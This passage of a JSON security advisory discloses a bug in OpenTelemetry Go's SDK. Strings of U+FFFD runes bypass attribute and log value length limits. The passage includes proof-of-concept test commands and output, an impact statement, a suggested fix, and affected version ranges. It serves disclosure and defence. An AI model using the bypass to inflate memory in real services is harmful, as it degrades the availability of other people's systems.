<=%d)\",\n\t\t\tlimit, len(stored), maxBytes)\n\t}\n}\n```\n\nRun:\n\n```\ngo mod tidy\ngo test -count=1 -v -run \"TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit\" .\n```\n\nExpected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the `FAIL\totelpoc` summary line):\n\n```\n=== RUN   TestOT001_FFFDOnlyStringBypassesLogLengthLimit\n    otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\n    otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)\n--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)\n=== RUN   TestOT001_FFFDOnlyStringBypassesTraceLengthLimit\n    otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\n    otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)\n--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)\n=== RUN   TestOT001_FFFDMixedStringOverRetains\n    otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5\n    otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored\n--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)\n=== RUN   TestOT001_ASCIIControl\n    otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5\n--- PASS: TestOT001_ASCIIControl (0.00s)\nFAIL\nFAIL\totelpoc\t0.059s\nFAIL\n```\n\nThe mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.\n\n## Impact\n\nApplications that enable `AttributeValueLengthLimit` (or `WithAttributeValueLengthLimit` for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.\n\n## Suggested fix\n\nIn the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current `truncate_test.go` has no U+FFFD case).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.opentelemetry.io/otel/sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.33.0"
      }, {
        "fixed" : "1.47.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.opentelemetry.io/otel/sdk/log"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.9.0"
      }, {
        "fixed" : "1.47.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.opentelemetry.io/otel/trace"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.35.0"
      }, {
        "fixed" : "1.47.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-go/commit/017b08c7f1018b619991aaf6b2299d4beb9da1d3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-telemetry/opentelemetry-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v1.47.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.47.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-go/releases/tag/trace/v1.47.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-135", "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-13T19:00:55Z",
    "nvd_published_at" : null
  }
}